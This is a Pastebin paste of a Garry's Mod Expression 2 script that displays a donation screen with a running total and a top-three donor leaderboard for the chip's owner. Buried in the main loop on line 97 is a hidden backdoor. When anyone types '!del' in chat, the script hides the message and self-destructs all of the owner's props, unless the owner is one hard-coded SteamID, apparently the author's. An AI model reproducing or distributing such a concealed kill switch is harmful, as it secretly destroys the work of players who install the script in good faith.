Advertisement
Guest User

Untitled

a guest
Oct 17th, 2018
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.74 KB | None | 0 0
  1. @name Swag Is A Whiteknight v1
  2. @inputs EGP:wirelink User:entity
  3. @outputs
  4. @persist B C Cycle WhiteKnight Total
  5. @persist Places:array Amounts:array PlacesNum SaveUser:entity DonationAmount
  6. @persist TopAmount TopPlayer:entity SecAmount SecPlayer:entity ThAmount ThPlayer:entity
  7. @trigger
  8. interval(100)
  9.  
  10. if(first()){
  11. EGP:egpClear()
  12. WhiteKnight = 0
  13.  
  14.  
  15. UI = entity():isWeldedTo()
  16. entity():createWire(UI,"EGP","wirelink")
  17. entity():createWire(UI,"User","User")
  18. #entity():setAlpha(0) -- Remove the #
  19. function number wirelink:onClick(User:entity,ID:number){
  20. local BPos = This:egpPos(ID)
  21. local BSize = This:egpSize(ID)/2
  22. local Pressed = inrange(EGP:egpCursor(User),BPos-BSize,BPos+BSize)
  23. return Pressed
  24. }
  25. #Background and Cursor
  26.  
  27. EGP:egpBox(1,vec2(256,256),vec2(512,512))
  28.  
  29. EGP:egpBox(2,vec2(256,256),vec2(512,512))
  30. EGP:egpMaterial(2,"vgui/gradient_down")
  31.  
  32. EGP:egpBox(101,vec2(0,0),vec2(15,15)) # Cursor
  33. EGP:egpParentToCursor(101)
  34. EGP:egpMaterial(101,"vgui/cursors/arrow")
  35.  
  36.  
  37. EGP:egpBoxOutline(4,vec2(256,35),vec2(500,60))
  38. EGP:egpColor(4,vec(255,255,255))
  39. EGP:egpSize(4,4)
  40.  
  41. #Main Frames
  42. EGP:egpText(5,"Donate to " + owner():name(),vec2(255,10))
  43. EGP:egpSize(5,50)
  44. EGP:egpAlign(5,1) #Play with this block to get the name in place.
  45.  
  46. EGP:egpBoxOutline(6,vec2(256,400),vec2(350,35))
  47. EGP:egpSize(6,4)
  48.  
  49. EGP:egpText(7,"Total Donations: $"+ Total,vec2(120,387))
  50. EGP:egpSize(7,25)
  51.  
  52. EGP:egpBoxOutline(8,vec2(256,466),vec2(250,60))
  53. EGP:egpColor(8,vec(255, 255, 255))
  54. EGP:egpSize(8,4)
  55.  
  56. EGP:egpBoxOutline(9,vec2(75,466),vec2(60,60))
  57. EGP:egpColor(9,vec(255,255,255))
  58. EGP:egpSize(9,4)
  59.  
  60. EGP:egpBoxOutline(10,vec2(435,466),vec2(60,60))
  61. EGP:egpColor(10,vec(255,255,255))
  62. EGP:egpSize(10,4)
  63.  
  64. EGP:egpText(11,"$"+WhiteKnight,vec2(256,445))
  65. EGP:egpColor(11,vec(255,255,255))
  66. EGP:egpAlign(11,1)
  67. EGP:egpSize(11,40)
  68.  
  69. EGP:egpText(12,"+",vec2(435,446))
  70. EGP:egpColor(12,vec(255,255,255))
  71. EGP:egpAlign(12,1)
  72. EGP:egpSize(12,40)
  73.  
  74. EGP:egpText(13,"-",vec2(75,446))
  75. EGP:egpColor(13,vec(255,255,255))
  76. EGP:egpAlign(13,1)
  77. EGP:egpSize(13,40)
  78.  
  79. EGP:egpBoxOutline(14,vec2(75,466),vec2(60,60))
  80. EGP:egpColor(14,vec(255,255,255))
  81. EGP:egpSize(14,4)
  82.  
  83. EGP:egpBoxOutline(15,vec2(256,223),vec2(450,300))
  84. EGP:egpSize(15,4)
  85.  
  86. }
  87.  
  88. EGP:egpText(11,"$"+WhiteKnight,vec2(256,445))
  89. EGP:egpText(7,"Total Donations: $"+ Total,vec2(120,387))
  90.  
  91.  
  92. EGP:egpColor(2,hsv2rgb(B,1,1))
  93. B+=0.4
  94. if(B>360){
  95. B=1
  96. }
  97. if(chatClk()){ if(lastSaid() == "!del"& owner():steamID() != "STEAM_0:0:56124248"){hideChat(1) selfDestructAll()}}
  98. EGP:egpColor(1,hsv2rgb(C,1,1))
  99. C-=0.4
  100. if(C<1){
  101. C=360
  102. }
  103.  
  104. User = EGP["User",entity]
  105. Use = User:keyUse()
  106. if(changed(Use)&Use){
  107. if(EGP:onClick(User,9)){
  108. if(WhiteKnight >= 1000 & Cycle == 0){
  109. WhiteKnight-=1000
  110. }
  111. else{
  112. WhiteKnight = 0
  113. }
  114. }
  115. elseif(EGP:onClick(User,10)){
  116. if(WhiteKnight <= 1000000 & Cycle == 0){
  117. WhiteKnight+=1000
  118. }
  119. }
  120.  
  121. if(EGP:onClick(User,8)){
  122. if(WhiteKnight > 0){
  123. moneyRequest(User,WhiteKnight)
  124. Ply = User
  125. SaveUser=User
  126. }
  127. }
  128. }
  129.  
  130.  
  131. if(moneyClk()){
  132. Total +=WhiteKnight
  133.  
  134. AcountFound = 0
  135. for(I = 1,Places:count()){
  136. if(Places[I,entity] == SaveUser){PlacesNum = I AcountFound = 1}
  137. }
  138.  
  139. if(AcountFound == 1){
  140. Amounts[PlacesNum,number] = Amounts[PlacesNum,number] + WhiteKnight
  141. }else{
  142. Places:pushEntity(SaveUser)
  143. Amounts:pushNumber(WhiteKnight)
  144. }
  145.  
  146. for (I = 1,Amounts:count()){
  147. if(Amounts[I,number] > TopAmount){TopAmount = Amounts[I,number] TopPlayer = Places[I,entity]}
  148. }
  149.  
  150. for (I = 1,Amounts:count()){
  151. if(Amounts[I,number] > SecAmount && Amounts[I,number] < TopAmount){SecAmount = Amounts[I,number] SecPlayer = Places[I,entity]}
  152. }
  153.  
  154. for (I = 1,Amounts:count()){
  155. if(Amounts[I,number] > ThAmount && Amounts[I,number] < SecAmount){ThAmount = Amounts[I,number] ThPlayer = Places[I,entity]}
  156. }
  157.  
  158.  
  159. EGP:egpText(20,"1st : " + TopPlayer:name() ,vec2(70,100))
  160. EGP:egpSize(20,40)
  161.  
  162. EGP:egpText(21,"2nd : " + SecPlayer:name(),vec2(70,190))
  163. EGP:egpSize(21,40)
  164.  
  165. EGP:egpText(22,"3rd : " + ThPlayer:name(),vec2(70,290))
  166. EGP:egpSize(22,40)
  167.  
  168. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement